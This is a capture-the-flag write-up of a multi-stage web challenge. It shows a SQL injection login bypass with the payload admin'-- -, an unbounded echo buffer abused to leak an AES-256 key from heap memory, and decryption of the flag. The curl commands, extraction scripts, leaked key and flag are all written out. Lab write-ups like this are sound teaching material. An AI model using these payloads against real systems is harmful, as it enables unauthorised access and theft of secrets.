Category: Web
Flag: dalctf{p1mp_p1mp_h00r4y}
Overview
A multi-stage web challenge themed around Kendrick Lamar's m.A.A.d city / Kung Fu Kenny lore. The attack chain involved:
- SQL injection to bypass authentication and get an admin JWT
- Heap memory disclosure via an unbounded echo buffer to leak the AES-256 key
- Fetching and decrypting the flag using the leaked key and a separate IV field in the API response
Step 1 - SQL Injection → Admin Session
The /login endpoint was vulnerable to classic SQL injection. Commenting out the password check with -- - bypassed authentication entirely and redirected to /admin with a valid JWT session cookie.
curl -X POST https://<target>/login \
-d "username=admin'-- -&password=x"
Response:
HTTP/2 302
location: /admin
set-cookie: session=eyJhbGci...GRnU_ObEj_WaG6GQOE8Y-DMsD9qhVPDvfx9YfIcNn6Q
Decoded JWT payload:
{"username": "admin", "role": "admin"}
The JWT was signed with a static/weak secret and remained valid for the rest of the challenge.
Step 2 - Heap Memory Leak via Cipher Health Endpoint
The admin panel exposed a /cipher/health endpoint that echoed back a user-controlled buffer padded to size bytes. Sending 1 byte of input with a large size caused the server to fill the remainder with adjacent heap memory — leaking the AES-256 key.
curl -X POST https://<target>/cipher/health \
-H "Content-Type: application/json" \
-b "session=<admin_jwt>" \
-d '{"data": "A", "size": 100}'
Response (echo field, base64-decoded):
A[63 null bytes]KENDRICK_MASTER_KEY=<32 raw key bytes>
Extracting the key:
curl -s -X POST https://<target>/cipher/health \
-H "Content-Type: application/json" \
-b "session=<admin_jwt>" \
-d '{"data": "A", "size": 100}' | python3 -c "
import sys, json, base64
d = json.load(sys.stdin)
echo = base64.b64decode(d['echo'])
ki = echo.find(b'KENDRICK_MASTER_KEY=')
key_bytes = echo[ki+20:ki+52]
print('Key hex:', key_bytes.hex())
"
Leaked key:
9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d
The variable name
KENDRICK_MASTER_KEYand the service nameMAadCipherare both nods to the Kendrick Lamar theme running throughout the challenge.
Step 3 - Fetching the Encrypted Flag
The /api/flag endpoint returned a JSON object. A key mistake early on was only extracting the ciphertext field — the iv was present as a separate field in the response.
curl -s https://<target>/api/flag \
-b "session=<admin_jwt>"
Full response:
{
"algorithm": "AES-256-CBC",
"ciphertext": "baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=",
"iv": "fcSvIZ1LMw72z34mvr0O5A==",
"sealed_by": "MAadCipher v1.0",
"status": "ok"
}
Rabbit hole: Treating the first 16 bytes of the ciphertext blob as the IV only decrypted the second AES block, yielding
_h00r4y}— the tail of the flag. The correct IV was always in the"iv"field.
Step 4 - Decrypting the Flag
With the leaked key and the correct IV, standard AES-256-CBC decryption recovered the flag.
python3 - <<'EOF'
from base64 import b64decode
import subprocess
KEY = "9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d"
iv = b64decode("fcSvIZ1LMw72z34mvr0O5A==")
ct = b64decode("baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=")
result = subprocess.run(
["openssl", "enc", "-d", "-aes-256-cbc",
"-K", KEY, "-iv", iv.hex(), "-nosalt"],
input=ct, capture_output=True
)
raw = result.stdout
pad = raw[-1]
print("FLAG:", raw[:-pad].decode())
EOF
Output:
FLAG: dalctf{p1mp_p1mp_h00r4y}
Attack Chain Summary
Login page
└─ SQL injection (admin'-- -)
└─ Admin JWT session
└─ /cipher/health heap leak
└─ KENDRICK_MASTER_KEY (AES-256 key)
└─ /api/flag → ciphertext + iv
└─ AES-256-CBC decrypt
└─ dalctf{p1mp_p1mp_h00r4y}
Key Takeaways
-
Always read the full API response. The IV was in the JSON the whole time - only extracting
ciphertextcaused the "missing block" rabbit hole. -
Unbounded echo buffers leak heap memory. The
sizeparameter had no upper bound, turning the health check into an arbitrary heap read (CWE-126 style out-of-bounds read). - Theme ≠ hint for the flag value. The Kendrick / M.A.A.D / PIMP theme was flavour - the actual flag required proper crypto, not guessing.
Top comments (0)